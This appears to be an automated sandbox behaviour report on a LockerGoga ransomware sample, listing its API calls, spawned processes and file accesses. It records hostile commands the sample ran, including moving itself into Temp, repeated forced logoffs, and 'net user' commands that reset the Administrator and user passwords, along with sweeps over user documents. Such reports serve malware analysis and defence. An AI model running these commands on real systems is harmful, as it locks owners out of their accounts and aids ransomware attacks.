Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process token adjusted: Debug

Contains functionality to register its own exception handler

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_0010F271 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0010F271
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000EDEEA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_000EDEEA
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000EE33E SetUnhandledExceptionFilter,	23_2_000EE33E
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000EDEEA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	23_2_000EDEEA
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000EE1AB IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_000EE1AB
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_0010F271 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_0010F271

HIPS / PFW / Operating System Protection Evasion:

Creates a process in suspended mode (likely to inject code)

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c move /y C:\Users\user\Desktop\LockerGogaRecent.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe	Jump to behavior
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -m	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\net.exe C:\Windows\system32\net.exe user Administrator HuHuHUHoHo283283@dJD	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\net.exe C:\Windows\system32\net.exe user user HuHuHUHoHo283283@dJD	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\net.exe C:\Windows\system32\net.exe user Administrator HuHuHUHoHo283283@dJD	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user user HuHuHUHoHo283283@dJD	Jump to behavior
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user Administrator HuHuHUHoHo283283@dJD	Jump to behavior
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user user HuHuHUHoHo283283@dJD	Jump to behavior

Contains functionality to add an ACL to a security descriptor

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe

Code function: 23_2_00051230 InitializeSecurityDescriptor,SetSecurityDescriptorDacl,

23_2_00051230

Contains functionality to create a new security descriptor

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe

Code function: 0_2_00095690 AllocateAndInitializeSid,LookupAccountSidW,GetLastError,LookupAccountSidW,FreeSid,

0_2_00095690

Language, Device and Operating System Detection:

Contains functionality locales information (e.g. system language)

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_0012719B
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_0012736F
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: GetLocaleInfoW,	0_2_0011F384
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	0_2_00126A37
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: EnumSystemLocalesW,	0_2_00126CAF
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: EnumSystemLocalesW,	0_2_00126CFA
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: EnumSystemLocalesW,	0_2_00126D95
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: EnumSystemLocalesW,	0_2_0011EE9B
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: GetLocaleInfoW,	23_2_000ECCEE
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: ___crtGetLocaleInfoEx,	23_2_000ECDE7
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	23_2_00126A37
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: EnumSystemLocalesW,	23_2_00126CAF
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: EnumSystemLocalesW,	23_2_00126CFA
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: EnumSystemLocalesW,	23_2_00126D95
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	23_2_00126E22
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: EnumSystemLocalesW,	23_2_0011EE9B
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: GetLocaleInfoW,	23_2_00127072
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	23_2_0012719B
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: GetLocaleInfoW,	23_2_001272A2
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	23_2_0012736F
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: GetLocaleInfoW,	23_2_0011F384

Contains functionality to query CPU information (cpuid)

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe

Code function: 23_2_000ED8C3 cpuid

23_2_000ED8C3

Queries the volume information (name, serial number etc) of a device

Show sources

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\ProgramData\Microsoft\IlsCache\ilrcache.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000b.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\OfficeMUI.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\branding.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-0117-0409-0000-0000000FF1CE}-C\AccessMUISet.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\angular.js VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000003.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\ZGGKNSUKOP.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\JDDHMPCDUJ.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\ZGGKNSUKOP.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proofing.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Power Efficiency Diagnostics\energy-report-latest.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\ProgramData\Microsoft\IlsCache\imcrcache.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\OfficeMUISet.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.en\Proof.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\Setup.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Office\ONetConfig\b6419f5bc3093b5f22142ce454e02407.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows Mail\oeold.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\Managed\Word Document Building Blocks\1033\TM01793060[[fn=Origin]].dotx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\DUUDTUBZFW\DUUDTUBZFW.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\ExcelMUI.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Caches\{67D69890-D853-4011-A87E-AA64FA83CE5A}.2.ver0x0000000000000002.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Power Efficiency Diagnostics\energy-report-2015-03-09.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\Setup.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\Setup.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\OneNoteMUI.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-0117-0409-0000-0000000FF1CE}-C\Setup.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\background_script.js VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\PowerPointMUI.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000007.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.fr\Proof.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\Setup.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\WordMUI.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-003D-0000-0000-0000000FF1CE}-C\Setup.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-0117-0409-0000-0000000FF1CE}-C\Access.en-us\branding.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Local\Mozilla\updates\308046B0AF4A39CB\updates.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\OutlookMUI.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Power Efficiency Diagnostics\energy-report-2011-04-08.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Caches\{86012F79-362C-43D2-98EF-AB58A0A31343}.2.ver0x0000000000000001.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.es\Proof.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\PublisherMUI.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-003D-0000-0000-0000000FF1CE}-C\SingleImageWW.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\Setup.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\Setup.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\MSOCache\All Users\{90140000-003D-0000-0000-0000000FF1CE}-C\Office64WW.xml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Document Building Blocks\1033\14\Built-In Building Blocks.dotx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\ZGGKNSUKOP\ZGGKNSUKOP.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\KLIZUSIQEN.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\EWZCVGNOWT.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\DUUDTUBZFW\ZGGKNSUKOP.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\EWZCVGNOWT\JDDHMPCDUJ.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\KLIZUSIQEN.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\EWZCVGNOWT.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\EOWRVPQCCS\EOWRVPQCCS.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\DUUDTUBZFW.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\blocklist.xml VolumeInformation
